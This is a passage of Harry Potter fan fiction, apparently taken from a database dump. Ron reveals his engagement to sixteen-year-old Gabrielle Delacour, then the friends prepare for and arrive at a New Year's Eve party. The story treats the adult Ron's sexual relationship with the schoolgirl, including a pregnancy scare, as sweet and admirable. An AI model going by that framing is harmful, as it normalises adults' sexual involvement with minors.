have asked him -- we should have done something -- &quot; <br>\n\n\n<br>\n &quot;I know,&quot; Hermione said, breathlessly thankful that this was what Ron wanted to talk about. This she could handle. &quot;But he\'s going to be all right, Ron. If anyone\'s going to be all right, it\'s Harry. No one else could manage this for as long as he has, already&#8230; He\'s doing it. He\'s going to be fine, somehow. There\'s no one else like him.&quot; <br>\n\n\n<br>\n That piercing look again; Ron seemed to be searching her eyes for something, perhaps reassurance, perhaps a confirmation that everything would be okay. Perhaps -- <br>\n\n\n<br>\n &quot;I know,&quot; he said finally. &quot;I just&#8230; I can\'t forgive myself.&quot; <br>\n\n\n<br>\n &quot;I know. Me either.&quot; <br>\n\n\n<br>\n They were quiet again, listening to the laughter issuing from the sitting room, Fred and George\'s wicked chuckling, and then Harry\'s voice, deeper than the twins\': &quot;Oh, come <i>off it</i>, Fred.&quot; <br>\n\n\n<br>\n Ron gave her a small sideways smile, then took a long breath. &quot;There\'s something else we haven\'t talked about. I\'m sorry for that too.&quot; <br>\n\n\n<br>\n &quot;It\'s all right. There are probably things I haven\'t told you also,&quot; Hermione said, trying to sound casual. <br>\n\n\n<br>\n Ron nodded. &quot;I guess we grew apart a bit, without realizing it,&quot; he said quietly. &quot;I don\'t want it to happen again.&quot; <br>\n\n\n<br>\n &quot;Me either.&quot; <br>\n\n\n<br>\n Ron squeezed her hand, then dropped his head and took a deep breath. &quot;Okay. Here goes.&quot; <br>\n\n\n<br>\n Hermione tried to keep her face passive, but her mind was whirling. Was Ron moving out? Maybe he\'d met people through work -- or he\'d been working on a secret Ministry project -- <br>\n\n\n<br>\n &quot;I\'m getting married.&quot; <br>\n\n\n<br>\n ~ ~ ~ ~ ~ '),
	(8, 8, ' <font size="+1"><b>Come Together</b></font><br>\n\n\n<br>\n\n\n<b>Disclaimer:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. <br>\n\n\n<br>\n\n\n<b>Author\'s Note and Assorted Feeble Excuses:</b>This was originally intended to be the final chapter, but it\'s taken so long to write that I\'m posting the unfinished portion before the story is concluded. I do have plans to finish the fic eventually, but it will probably take some time! Thanks to all my readers and members of Granger\'s Library for your patience and understanding. <br>\n\n\n<br>\n\n\n<b>Chapter Seven</b>: Absolute Beginners <br>\n\n\n<br>\n\n\n<i>can\'t make it all alone<br>\n i built my dreams around you </i><br>\n\n\n<br>\n -- &quot;Fairytale of New York,&quot; The Pogues <br>\n\n\n<br>\n ~ ~ ~ ~ ~ <br>\n\n\n<br>\n The garden gnomes scattered at the sound of Hermione\'s shriek, deserting their twinkling rosebush as if their tiny legs were on fire. A moment later the back door flew open and Arthur Weasley poked his red-and-white-nightcapped head outside. &quot;That you, Ron? Everything all right?&quot; <br>\n\n\n<br>\n &quot;Fine, Dad, fine,&quot; said Ron hastily, shooting Hermione a don\'t-say-anything look like the one he\'d used in Potions when Professor Snape inquired if he was getting help on his assignments. <br>\n\n\n<br>\n &quot;Sorry, Mr.Weasley,&quot; Hermione said, regaining control of her voice and successfully overcoming the urge to shriek again. &quot;I saw a -- garden gnome, I thought it was a&#8230; er&#8230; &quot; <br>\n\n\n<br>\n &quot; -- Nogtail,&quot; finished Ron. &quot;But it was just a gnome, nothing to worry about.&quot; <br>\n\n\n<br>\n &quot;A Nogtail?&quot; Arthur Weasley was peering at the deserted rosebush with concern. <br>\n\n\n<br>\n &quot;Right, silly me, just a gnome,&quot; Hermione said hastily. &quot;I should really get my eyes checked, you know, I\'ll probably be needing glasses one of these days, both my parents have them&#8230;&quot; She was faintly aware that she was babbling, but her mind was too busy reeling to care. Ron? <i>Married</i>? <br>\n\n\n<br>\n &quot;Well then,&quot; Mr.Weasley was saying, &quot;don\'t stay out here for too long, all right? It\'s getting chilly.&quot; <br>\n\n\n<br>\n &quot;Right Dad.&quot; <br>\n\n\n<br>\n &quot;Good night, Mr.Weasley.&quot; <br>\n\n\n<br>\n The back door clicked shut behind them, and Ron waited a few moments before exhaling a long breath. &quot;Sorry,&quot; Hermione said hurriedly, biting her lip. &quot;I didn\'t mean -- &quot; <br>\n\n\n<br>\n &quot;No, that\'s all right. I should have given you a bit more warning.&quot; He gave her a wry smile. &quot;You should have seen Harry\'s reaction. It was worse.&quot; <br>\n\n\n<br>\n &quot;Worse?&quot; <br>\n\n\n<br>\n &quot;Seen my sitting room ceiling lately?&quot; Ron leaned back against the porch railing. &quot;There\'s a bottle of butterbeer stuck in halfway, right above the couch, like it was splinched or something. No idea what spell Harry used to do it. Don\'t know if he knows either.&quot; <br>\n\n\n<br>\n &quot;Oh dear.&quot; Hermione hid a smile, then abruptly remembered what they had been talking about. &quot;But Ron -- what do you mean? What\'s happened? How on earth could you be getting married?&quot; She couldn\'t keep her voice from rising. &quot;Why didn\'t you tell us? Who is she? Do your parents know?&quot; <br>\n\n\n<br>\n &quot;I\'m telling them in a few days, once everyone\'s cleared out. I didn\'t want to distract them during the holiday. And -- well, I didn\'t tell you, because -- &quot; Ron stared at the ground, studying his shoelaces. &quot;She\'s a bit young,&quot; he said finally. &quot;And it\'s a bit sudden.&quot; <br>\n\n\n<br>\n &quot;Sudden? Well I should say -- &quot; Hermione began, but stopped herself. This was clearly a difficult situation, or Ron would have told them everything from the start. She didn\'t want to make this any harder for him. &quot;I\'m sorry. Keep going.&quot; <br>\n\n\n<br>\n &quot;Okay.&quot; Ron took another deep breath and began talking very fast, still looking at his shoes. &quot;I met&#8230; this girl. Through Harry, actually, I think he ran into her at one of his Quidditch parties, and we\'d met once long ago but I think both of us were sort of asleep at the time -- anyway, one thing led to another, and well, we started seeing each other, and I couldn\'t really say anything, because I didn\'t want to get her in trouble. Because she is quite young and all.&quot; <br>\n\n\n<br>\n &quot;How&#8230; young is young?&quot; <br>\n\n\n<br>\n &quot;Well, er -- she\'s&#8230; she\'s&#8230; sixteen.&quot; <br>\n\n\n<br>\n &quot;<i>Sixteen -- </i>&quot; <br>\n\n\n<br>\n &quot;Yeah. Still in school. She had quite a time of it, sneaking out to see me on weekends off. I really didn\'t want her to, but she -- I mean -- &quot; Ron flushed a deep pink. &quot;We sort of fell in love. I didn\'t mean for it to happen.&quot; <br>\n\n\n<br>\n &quot;Ron!&quot; Unable to restrain herself, Hermione grabbed his hand and squeezed it. &quot;That\'s wonderful! Even if she is&#8230; sixteen.&quot; <br>\n\n\n<br>\n Ron looked up and squeezed back. &quot;Thanks,&quot; he said shyly. &quot;But there\'s more.&quot; <br>\n\n\n<br>\n &quot;Okay.&quot; Hermione was beginning to feel slightly dizzy. <br>\n\n\n<br>\n &quot;We, er&#8230; well, you know.&quot; Ron coughed; in the dim light Hermione could still see that he had flushed scarlet. &quot;We started getting quite&#8230; close. And after a while, she didn\'t feel very well&#8230; so she thought&#8230; She thought she might be pregnant.&quot; <br>\n\n\n<br>\n These last words had come out in a rush; Hermione drew in her breath sharply. &quot;She <i>what</i>?&quot; <br>\n\n\n<br>\n Ron\'s voice broke slightly. &quot;She thought she was pregnant,&quot; he said. &quot;Went to a mediwitch and everything, but they couldn\'t tell us right away. I was -- I mean, we were so worried. So I -- &quot; He stared up at the stars, pinpricks in the cold air. &quot;I thought I should do the right thing. I didn\'t want to mess up her life any worse than I had already. I went to Diagon Alley and I bought a ring&#8230; and I asked her to marry me.&quot; <br>\n\n\n<br>\n &quot;Oh, Ron.&quot; Hermione stepped forward to lean against the railing next to him; he drew her close, and she buried her face in his winter robes. <br>\n\n\n<br>\n &quot;It\'s all right,&quot; Ron said, and his voice sounded weary. Hermione had the sudden realization that while she\'d been preoccupied with her own miseries for the past few months, Ron had been through something that might have been even worse. &quot;She wasn\'t pregnant. We found out a few days after I proposed.&quot; <br>\n\n\n<br>\n &quot;So why are you&#8230; I mean, you\'re still&#8230; &quot; <br>\n\n\n<br>\n &quot;Yeah, I know. We\'re still going to do it, I think.&quot; Ron heaved a sigh and shoved both hands into his pockets. &quot;She was great about it, really amazing, you know? Told me she would understand if I didn\'t want to go through with it&#8230; tried to give back the ring and everything. But that made me realize&#8230; &quot; He looked down at Hermione, his eyes shining dimly in the starlight. &quot;I do love her,&quot; he said quietly. &quot;And I do want to marry her someday. And she wants to marry me. So it might as well be now.&quot; <br>\n\n\n<br>\n &quot;Oh, Ron.&quot; <br>\n\n\n<br>\n &quot;You said that already.&quot; Ron managed a half-smile. <br>\n\n\n<br>\n &quot;I suppose I did. I -- well, I don\'t know what to say.&quot; <br>\n\n\n<br>\n &quot;Say I\'m not crazy,&quot; Ron said quietly. &quot;Say I\'m not making the hugest mistake of my life.&quot; <br>\n\n\n<br>\n &quot;Well, I -- &quot; Hermione\'s voice caught in her throat. &quot;I wish I could say that. But I don\'t know, Ron, I really don\'t.&quot; She looked up at him. &quot;I don\'t even know her,&quot; she said quietly. <br>\n\n\n<br>\n &quot;You do, actually,&quot; Ron said, going red again. <br>\n\n\n<br>\n Hermione felt her jaw go slack with surprise. &quot;You\'re joking?&quot; <br>\n\n\n<br>\n Ron traced a pattern on the porch with the toe of his shoe. &quot;Do you remember, in our fourth year&#8230; Fleur Delacour\'s little sister? Gabrielle?&quot; <br>\n\n\n<br>\n Hermione felt an odd ringing in her ears. It felt as if all the blood had rushed out of her head and into her heart, which stalled violently in mid-thump. &quot;Gabrielle Delacour?&quot; she whispered, and the stars began to swim slightly as she put a hand on the porch railing for support. <br>\n\n\n<br>\n &quot;That\'s right, Gabrielle. Are you all right, Hermione?&quot; Ron was peering down at her. &quot;You look awfully pale.&quot; <br>\n\n\n<br>\n &quot;No, I -- I mean, yes, I just -- well, I think maybe -- &quot; Her heart had started beating again, and it was now pounding out a rhythm that matched the rushing noise in her ears. &quot;It\'s all a bit much,&quot; she said faintly. &quot;I think I need to sit down.&quot; <br>\n\n\n<br>\n &quot;Yeah, good idea, let\'s sit,&quot; Ron was saying, and he took her arm and walked her over to a bench on the porch, where he sat down heavily beside her. &quot;I take it you know Gabrielle?&quot; he asked timidly, once they were both seated. <br>\n\n\n<br>\n &quot;Well, I -- I suppose I do.&quot; Hermione found that her brain had reconnected with her voice, and she grabbed Ron\'s arm, a bit harder than she\'d intended. His eyes widened in surprise. &quot;But I thought -- &quot; she began, looking down at his arm and loosening her grip. &quot;Sorry -- I mean -- &quot; <br>\n\n\n<br>\n &quot;What is it?&quot; Ron was now looking distinctly worried. <br>\n\n\n<br>\n &quot;I thought, you know, she and Harry&#8230;&quot; At this Ron\'s eyes went even wider. &quot;I thought they were together,&quot; she finished sheepishly. <br>\n\n\n<br>\n &quot;Gabrielle and Harry?&quot; It was a good thing they were both sitting down now, because Hermione thought Ron might have taken a turn falling over backwards. <br>\n\n\n<br>\n &quot;Yes -- well -- &quot; Hermione was now stricken with guilt. What if she\'d just ruined Ron\'s engagement, blurting out this sort of news to him? His fiance and his best friend? &quot;I could be wrong,&quot; she amended hastily, starting to panic at the look on Ron\'s face. &quot;I mean, I just -- I never <i>saw</i> anything -- but the morning after the Quidditch semifinal -- I let Gabrielle in to visit Harry.&quot; <br>\n\n\n<br>\n Ron was staring at her intently. &quot;So?&quot; <br>\n\n\n<br>\n &quot;Er, well... He let her into his flat, and closed the door and put out a school tie. You know, for privacy.&quot; <br>\n\n\n<br>\n Ron let out a relieved exhale with such force that Hermione thought he might pass out. &quot;\'Mione,&quot; he said, beginning to smile again, &quot;that\'s <i>all</i> you saw?&quot; <br>\n\n\n<br>\n &quot;Well... yes.&quot; Hermione was beginning to feel slightly ridiculous. Was that really all she\'d seen? And that had been enough to send her into an emotional tailspin? An emotional tailspin the equivalent of a rather large and devastating hurricane? <br>\n\n\n<br>\n &quot;\'Mione.&quot; Ron shook his head. &quot;I <i>told</i> Gabrielle to go visit Harry that day.&quot; <br>\n\n\n<br>\n Ron was casually turning her world upside down and sideways with this explanation.&quot;You did?&quot; <br>\n\n\n<br>\n &quot;Yeah.&quot; Ron blinked at her in the dim light. &quot;It\'s why she came to talk to me in the first place. I ran into her at a party the night of the semifinal, and she remembered me right away. She said she\'d been having nightmares for years about what happened underwater -- during the Second Task, I mean -- even though she hadn\'t been awake during the Task. Really odd, right? Anyway, she was really happy to talk to someone who\'d also been there. We talked for most of the night, and I told her to go see Harry, since Harry actually brought her out of the lake and all. Thought it might make her feel better, help with the dreams, you know? So Harry was expecting her that morning, I told him she wanted to come talk to him privately. I didn\'t get around to telling you though, you went home early that night. I didn\'t think it was a big deal, anyway.&quot; <br>\n\n\n<br>\n Hermione could only sit and absorb this information with an odd numbness. She had the urge to burst out laughing and crying at once. Laughter was currently winning. It was all so <i>absurd</i>. She\'d been so <i>absurd</i>. <br>\n\n\n<br>\n &quot;That\'s all it was? She wanted to talk about the <i>lake</i>?&quot; <br>\n\n\n<br>\n &quot;That\'s all it was, yeah. Made her feel much better.&quot; Ron was looking at Hermione quizically again. &quot;Why did it matter that you thought she was with Harry? He\'s had a dozen girlfriends since he moved to London.&quot; <br>\n\n\n<br>\n This struck frighteningly close to the core. Hermione felt herself turn pale; she floundered for a few long seconds. &quot;Well, she\'s -- awfully <i>young</i>,&quot; she blurted at last. <br>\n\n\n<br>\n Hermione could tell that Ron flushed pink even in the near-darkness. &quot;Right,&quot; he said, scuffling the ground with his toe. &quot;I suppose she is.&quot; <br>\n\n\n<br>\n &quot;Oh Ron.&quot; Hermione took his hand. &quot;I didn\'t mean to make you feel bad about it. You\'re in love with each other, your ages won\'t matter in a few years.&quot; She attempted to settle into a new white lie, an almost-truth. &quot;I kept meaning to ask Harry about it, but I never got around to it, with school and all. He\'d have set me straight, I\'m sure.&quot; <br>\n\n\n<br>\n Ron nodded, staring out into the yard. They were both silent for a moment, Hermione\'s brain attempting to sort through a murky soup of emotions. When Ron finally squeezed her hand and let go, Hermione started -- she\'d forgotten that he was holding it. &quot;Just tell me one thing,&quot; he said, his voice gravelly and solemn. <br>\n\n\n<br>\n &quot;Of course.&quot; <br>\n\n\n<br>\n &quot;I\'m not completely barmy, am I? I\'ve never felt this way before. The tiniest thing can set me off. I haven\'t been myself at all -- I didn\'t even tell you two about it. I mean, that\'s really not like me, right? <i>Really, really</i> not like me. But I was so worried about what you\'d say, and I didn\'t want anything to change with Gabrielle.&quot; He gave a hollow laugh. &quot;I\'m going to St. Mungo\'s, aren\'t I? You can break the news to me gently.&quot; <br>\n\n\n<br>\n Hermione knew precisely how he felt. Absolutely precisely. Her heart twanged and she tried to laugh breezily. &quot;Oh honestly, Ron. You\'re not going anywhere.&quot; <br>\n\n\n<br>\n &quot;I\'m not? What on earth\'s wrong with me, then?&quot; <br>\n\n\n<br>\n &quot;Nothing.&quot; Hermione looked up at the stars, winking back at her like tiny gold flecks of light, and thought of someone else, someone who caught tiny gold fluttering things and smiled quite a lot like the winking stars. &quot;You\'re in love, is all.&quot; <br>\n\n\n<br>\n ~ ~ ~ ~ ~ <br>\n\n\n<br>\n Harry Potter was in an extraordinarily good mood. He was also, in typical Harry fashion, running late. <br>\n\n\n<br>\n Hermione couldn\'t help grinning at him as he stepped out of the bathroom, towel around his waist, scrubbing his hands hastily through his wet hair. As distracting as it was to see him in a towel, it was also somewhat startling to see him without his glasses -- his face looked oddly naked, younger, lacking some of the sharpness and edge that bespectacled Harry usually possessed. &quot;You\'re late,&quot; Hermione said chidingly, from her seat on the sofa in Harry\'s sitting room. <br>\n\n\n<br>\n &quot;Oh, sod off, I know,&quot; Harry laughed, pausing to squint at her. &quot;What are you wearing?&quot; <br>\n\n\n<br>\n &quot;You\'ll see. Go on, hurry up. I\'ve been waiting to use the washroom.&quot; <br>\n\n\n<br>\n &quot;I\'m hurrying.&quot; Harry disappeared into his bedroom. &quot;What\'s wrong with your toilet upstairs? Not good enough for you?&quot; <br>\n\n\n<br>\n &quot;Not really,&quot; Hermione opened Harry\'s washroom door to a cloud of steam. &quot;I can\'t tell you to hurry up when I\'m in that one.&quot; <br>\n\n\n<br>\n &quot;Very clever.&quot; <br>\n\n\n<br>\n &quot;I am.&quot; Hermione cleared away the steam with a wave of her wand, then studied her reflection in the mirror. <br>\n\n\n<br>\n It was New Year\'s Eve, and though Harry had been invited to dozens of parties, the one he\'d been most excited about -- and the one he\'d insisted Ron and Hermione both attend -- was the one being thrown by Morris Whiggam, the coach of England\'s national Quidditch team. Every year Whiggam provided Portkeys to all his guests that whisked them away to a vast ballroom somewhere in Wizarding London, decorated far too extravagantly in some sort of theme. Last year, according to Harry, the room had been done up like a wizard circus, with the ceiling stretched into the pinnacles of a circus tent, and clowns, enchanters, and every imaginable animal and beast prowling around the party. This year\'s event was rumored to be even more spectacular, so naturally, Harry had insisted they both come with him. <br>\n\n\n<br>\n Ron was bringing Gabrielle, which was an event unto itself. He\'d broken the news to his family the day after Christmas, and all of the Weasleys had been remarkably understanding, though Molly had murmured &quot;Oh, Merlin&quot; for the better part of an hour afterwards. After that, however, the news that another of her sons was getting married finally seemed to sink in, and she was a whirlwind of happy activity, sending Owls to distant relatives and immediately recruiting the very ancient Errol to send an invitation to the Delacours for supper. <br>\n\n\n<br>\n Hermione had enjoyed watching the buzz of excitement over Ron\'s news, but more importantly, she\'d enjoyed watching Ron\'s great relief at his family\'s reaction. The engagement had been a welcome distraction; she could stand quietly in a corner with Harry and revel in the simple thrill of his presence while the rest of the Weasleys fussed over Ron. <br>\n\n\n<br>\n Ron had asked Harry to be best man at the wedding, and what\'s more, he\'d asked Hermione to be in the wedding as well -- as one of his &quot;groomsmen,&quot; the rest of whom were a long parade of Weasley sons. &quot;I need both of you on my side,&quot; Ron had said in simple explanation. The look on Harry\'s face at that moment was something Hermione wouldn\'t forget anytime soon. It was as if a tiny bit of the darkness he had carried with him for so long had lifted at Ron\'s words and gone forever. <br>\n\n\n<br>\n So tonight, for the first time, the Trio would become the Trio-Plus-One, and everyone was slightly nervous, but it was a happy sort of nervous. Hermione fidgeted with a strap on her dress and wondered for the twelfth time that evening whether it had been wise to let Ginny talk her into such a purchase. &quot;It\'s <i>New Year\'s Eve</i>,&quot; Ginny had said, as if that was reason enough to justify buying a large piece of furniture, two new broomsticks, and a summer home in Crete. So Hermione had splurged. The Dress was simple black silk, with two whisper-thin straps and tiny black beads sewn across the straight neckline. It was rather more form-fitting than anything Hermione usually wore -- it was cut on the bias, and came to just above her knees, flaring out very slightly at the bottom. And like any truly elegant piece of witch couture, a tiny pocket sewn into the back of the dress had room for her wand. <br>\n\n\n<br>\n &quot;You look stunning, dear,&quot; said Harry\'s mirror, jolting Hermione into the present. She flushed and tried to hide a smile as she began working on another hair-taming charm -- she would wear it mostly down tonight if she could get it to behave. &quot;Thank you,&quot; she said modestly, gesturing with her wand as a long brown curl wound itself into a sparkling clip above her right ear. <br>\n\n\n<br>\n A loud commotion in the sitting room nearly caused Hermione to singe off a carefully placed curl with her wand. She threw open the washroom door to reveal Ron pounding frantically on Harry\'s bedroom door with a tie in one hand, his red hair slicked back and nearly as shiny as the bathroom mirror. He whirled around at the sound of the door, a panic-stricken look on his face. &quot;Hermione, thank Merlin you\'re here! I tried to find you upstairs but you weren\'t there, and I\'m running late to pick up Gabrielle and I can\'t get this sodding tie done right and I think I sort of overdid the Sleakeasy\'s hair stuff, and I\'m sweating spellbooks here because I\'ve just gone up and down the stairs six ruddy times -- &quot; He stopped short, finally seeming to see Hermione for the first time. &quot;Bloody hell!&quot; <br>\n\n\n<br>\n &quot;What? What is it?&quot; <br>\n\n\n<br>\n &quot;You look <i>wicked!</i>&quot; <br>\n\n\n<br>\n Hermione smiled, crossing the room to take the tie from Ron\'s hand. Even in heels she needed to stand on tiptoe to help him with it; she looped it over his head and began to fiddle with the knot. &quot;Calm down, I don\'t know why you\'re so hopeless at this when you\'re nervous.&quot; She looked up at him and arched an eyebrow. &quot;Wicked good or wicked bad?&quot; <br>\n\n\n<br>\n &quot;Wicked bloody excellent,&quot; Ron said, rolling down his sleeves and beginning to button the cuffs of his dress shirt. <br>\n\n\n<br>\n &quot;Honestly, Ron, don\'t do that while I\'m trying to do this -- &quot; <br>\n\n\n<br>\n They both turned as Harry\'s bedroom door clicked open and Harry stepped out, straightening his own tie, striped in muted Gryffindor colors. He was wearing dark suit pants and a simple white dress shirt, which was setting off the crimson flush that was now blooming across his cheekbones as he looked at Hermione with eyes wide behind his round glasses. He looked so utterly startled that Hermione glanced down to see if one of her thin spaghetti straps had quit on the job and left her exposed in some mortifying fashion. But all was well, and she found that she was not nearly brave enough to meet Harry\'s gaze again. He must be shocked to see me in an actual dress, Hermione told herself, and busied herself with Ron\'s tie in an effort to stop blushing. <br>\n\n\n<br>\n Ron had apparently caught Harry\'s look, because he grinned and stepped away from Hermione with a theatrical gesture as she finished knotting his tie. &quot;Doesn\'t she look brilliant?&quot; he said, holding her at arm\'s length and waggling his eyebrows at Harry. <br>\n\n\n<br>\n &quot;Spectacular,&quot; said Harry truthfully, stepping forward to take Hermione\'s hand from Ron. He bent to kiss it in jest, his still-wet hair tumbling into his eyes as they all laughed and Hermione blushed harder. Harry raised his eyes to meet hers and there was an odd gravity veiled in their twinkling mirth. &quot;I\'ve never seen anyone so beautiful.&quot; <br>\n\n\n<br>\n Hermione had come perilously close to fainting four times in her life, and she was surprised to discover that the tally was now up to five. &quot;Will you two <i>stop</i>,&quot; she said, her pulse uncomfortably quick. &quot;We\'re going to miss the Portkey, Ron, if you\'ve got to pick up Gabrielle.&quot; <br>\n\n\n<br>\n Ron swore. &quot;Merlin\'s beard, what the sod am I hanging around with you lot for? I\'d better meet you there, Harry, I\'m not sure we\'ve got enough time -- &quot; <br>\n\n\n<br>\n &quot;Go, go!&quot; Harry said, shooing him towards the door. &quot;You can make it just fine if you Apparate from the front steps.&quot; <br>\n\n\n<br>\n &quot;Right.&quot; Ron took an enormously deep breath and turned around, straightening his tie. &quot;Do I look okay?&quot; <br>\n\n\n<br>\n &quot;Smashing,&quot; Hermione said, smiling. <br>\n\n\n<br>\n &quot;Breathtaking,&quot; Harry grinned. &quot;Lovely. I can\'t look at you, I\'ll faint.&quot; <br>\n\n\n<br>\n &quot;Sod off, Potter.&quot; Ron was chuckling as he jogged down the stairs. <br>\n\n\n<br>\n Abruptly they were alone, and the silence in the apartment was deafening. Ron had left them to pick up his date -- his <i>fiance</i> -- and the Trio was now officially not quite the same. Hermione found herself wondering if Harry would resent being paired with her by default. His consolation prize. She felt a lump rise in her throat as she thought of Ron, and missed his reassuring presence with an ache that was nearly physical. <br>\n\n\n<br>\n &quot;Um, well then.&quot; Harry broke into the awkward quiet, picking up his heavy winter robes from the back of the couch and beginning to put them on. &quot;Do you have everything? We\'d best be off too.&quot; <br>\n\n\n<br>\n &quot;Wait, just a moment.&quot; Hermione felt scattered, and groped around for her wand (safely in the hidden pocket of her dress), the small evening bag she\'d brought downstairs, and her wool robes. Harry had beaten her to her robes, however, and was holding them open for her before she could pick them up. &quot;Thanks,&quot; she said quietly, her nerves buzzing. <br>\n\n\n<br>\n &quot;No problem.&quot; Harry offered her his arm. &quot;Shall we?&quot; <br>\n\n\n<br>\n Everything was changing. The warmth of Harry\'s arm brought a swift change to Hermione\'s mood as she slipped her hand around his wrist, and she caught his eye and he gave her a small nervous sideways Harry-smile. Just Harry. <br>\n\n\n<br>\n It would be all right. It would be different from now on, but they would be all right, all three of them. All <i>four</i> of them. <br>\n\n\n<br>\n Just the two of them. <br>\n\n\n<br>\n &quot;We shall.&quot; <br>\n\n\n<br>\n They descended the stairs, a pair of dark-robed figures picking their way across snowy cobblestones to the cul-de-sac at the end of the street. The windows of Orthagon Alley were glowing gold like champagne, and the noise of distant parties floated from faraway rooftops. In a moment the two figures were joined by two more; one of them groped on the ground for something that looked distinctly like a discarded Christmas cracker. For a moment the four of them huddled together, and then they winked out of existence, obscured by scattered snowflakes that hung on the wind like confetti. <br>\n\n\n<br>\n\n\n<i>to be continued... </i>\n\n<br>\n\n\n<br>\n ~ ~ ~ ~ ~ '),
	(8, 9, ' <p><b>Title:</b> Come Together<br>\n\n\n<b>Author:</b> Granger<br>\n\n\n<b>Rating: </b>R<br>\n\n\n<b>Disclaimer:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.<br>\n\n\n<b>Summary:</b> It\'s four years after the Trio has graduated from Hogwarts, and they\'re about to live together again for the first time. But will old friends remain old friends... or will they become something more? AU, Post-OoTP.<br>\n\n\n<b>Author\'s Note:</b> It\'s done. Can you believe it?</p>\n\n<p><b></b></p>\n\n<p><b>Chapter Eight: One Sweet Dream</b></p>\n\n<p><i>one sweet dream came true today</i> - The Beatles</p>\n\n<p>~ ~ ~ ~ ~</p>\n\n<p>When Hermione felt herself stop spinning, and the familiar Portkey-induced queasiness began to subside, she opened her eyes. And forgot to breathe.</p>\n\n<p>They were standing outside in a forest clearing -- or at least, it seemed as if they were outside. On closer inspection, Hermione could detect the traces of a vaulted ceiling behind a spangled sky that was enchanted much like the Great Hall at Hogwarts. Silvery birch trees surrounded them on all sides, obscuring any entrance or exit, a mass of intertwined white branches fading into the darkness in every direction. Somewhere close by, a band was playing music, and the clinking noise of glass and conversation drifted over the trees. Someone shifted beside her, and Hermione realized she was still clutching Harry\'s arm tightly. She loosened her grip and looked up at him apologetically; he glanced down when he saw she had opened her eyes.</p>\n\n<p>&quot;Feeling all right?&quot; he whispered. Harry knew how she felt about traveling by Portkey. It was similar to how she felt about traveling by Hippogryff.</p>\n\n<p>&quot;I think so.&quot; A noise somewhere near her feet made Hermione start, and she looked down to realize that Ron and Gabrielle had arrived at their destination in a somewhat more awkward fashion. They were sprawled unceremoniously on the ground, Ron apologizing as he attempted to untangle his lanky limbs from Gabrielle\'s white winter cloak. But Gabrielle was anything but angry; she was giggling uncontrollably and stopping every few seconds to plant a kiss on Ron\'s cheek, which was causing him to become even more flustered. She\'s with Ron, Hermione thought, feeling herself smile as she watched the two of them attempt to stand up again, and the full impact of what Ron had told her that cold December night finally struck home. She\'s really with Ron; they\'ve been together the whole time. She was never with Harry at all.</p>\n\n<p>Gabrielle was trying to compose herself and contain her giggles; she turned to Ron and began to dust him off as well. She was as tiny as Ron was tall, and Hermione guessed they were at least a foot apart in height, if not more.</p>\n\n<p>&quot;My fault, that,&quot; Ron said, looking down at Gabrielle and smoothing a hand protectively over the curtain of silver-blonde hair down her back. At the look in his eyes Hermione caught her breath. She\'d never in her life seen Ron look that way at anyone before; he\'d certainly never looked at her like that when they were dating at Hogwarts. She felt tears spring to the corners of her eyes. When Gabrielle looked back up at him, tilting her head slightly to meet his gaze, Hermione lost all reservations she\'d ever had about the younger Delacour sister. The look in Gabrielle\'s eyes was one to match Ron\'s.</p>\n\n<p>&quot;Come on, we\'ve got all night for that,&quot; Harry said jovially, and Ron and Gabrielle both jumped as if they hadn\'t realized they were being watched, Ron\'s ears a riotous shade of raspberry.</p>\n\n<p>&quot;So sorry, \'Arry,&quot; said Gabrielle, looking flushed and all too beautiful; but somehow, Hermione found her beauty altogether appealing at the moment. She realised with a pang of guilt that she had been assuming terrible untruths about Gabrielle for far too long.</p>\n\n<p>Harry smiled. &quot;I think the party\'s this way; this is just the Portkey entrance. We give our invitations to this bloke over here.&quot; He pointed to a spot at the edge of the silvery forest that Hermione somehow hadn\'t seen when they\'d arrived. A house elf in a silver waistcoat was waiting by a gap in the trees that formed an arched tunnel. Candles had been placed at the archway\'s entrance, illuminating a path that wound its way into the forest.</p>\n\n<p>&quot;Brilliant,&quot; murmured Ron. &quot;Is all this Whiggam\'s idea then?&quot;</p>\n\n<p>&quot;Oh no,&quot; Harry said, leading the way towards the forest path. &quot;There\'s a witch who manages the scheduling for the National Team, and she knows someone...&quot;</p>\n\n<p>&quot;\'Ermione?&quot; Gabrielle had fallen into step beside Hermione, and was looking up at her with a slightly nervous smile. Hermione\'s insides, once so frigid at the thought of Gabrielle, were melting rapidly into a puddle of warmth. &quot;I\'m so glad we could go together to this party. Ron&#8230; talks about you all the time.&quot;</p>\n\n<p>Hermione smiled, a genuine, worry-free smile. It felt wonderful. &quot;I\'m glad too. I\'m really happy for you both.&quot;</p>\n\n<p>Gabrielle brightened visibly at Hermione\'s smile. &quot;I \'ope we can become friends,&quot; she continued timidly. &quot;I know the three of you \'ave been close for so long... and I am much younger.&quot;</p>\n\n<p>&quot;I\'d like that,&quot; Hermione said truthfully.</p>\n\n<p>The trees on either side of the path had begun to thin, and the noise of nearby voices became abruptly louder as they turned a bend in the forest path and the celebration came plainly into view. Hermione and Gabrielle followed Harry and Ron out of the forest and into an enormous clearing crammed with formally dressed witches and wizards. Although they still appeared to be outdoors, the space was pleasantly warm; round tables with long purple tablecloths were grouped along the perimeter of the clearing. A band was playing some distance away, and space had been cleared for a dance floor above which thousands of gleaming fairy lights floated, suspended between the earth and sky.</p>\n\n<p>Gabrielle let out a small gasp of amazement. &#8220;Ooh. Isn&#8217;t it marvelous?&#8221;</p>\n\n<p>&#8220;Really beautiful,&#8221; Ron murmured. He had turned to watch Gabrielle&#8217;s reaction, and Hermione immediately saw that he was not referring to the room. She hid a smile.</p>\n\n<p>Harry cleared his throat and gave Ron a deliberate nudge. &#8220;Just go dance already.&#8221;</p>\n\n<p>Ron flushed and laughed, linking his arm in Gabrielle&#8217;s, who was looking star-struck and positively fairy-like in the soft lights. &#8220;Capital idea. Gabby, love, may I have this dance?&#8221;</p>\n\n<p>Gabrielle could do no more than nod, and Ron needed no further urging. He steered her toward the dance floor, waving over his shoulder as he vanished into the well-dressed crowd.</p>\n\n<p>They stood in silence for a moment, watching Ron, Hermione feeling the electric presence of Harry next to her and knowing without looking at him that he was thinking about Ron and Gabrielle.</p>\n\n<p>&#8220;We&#8217;ve lost him, you know,&#8221; Harry said finally, his voice oddly 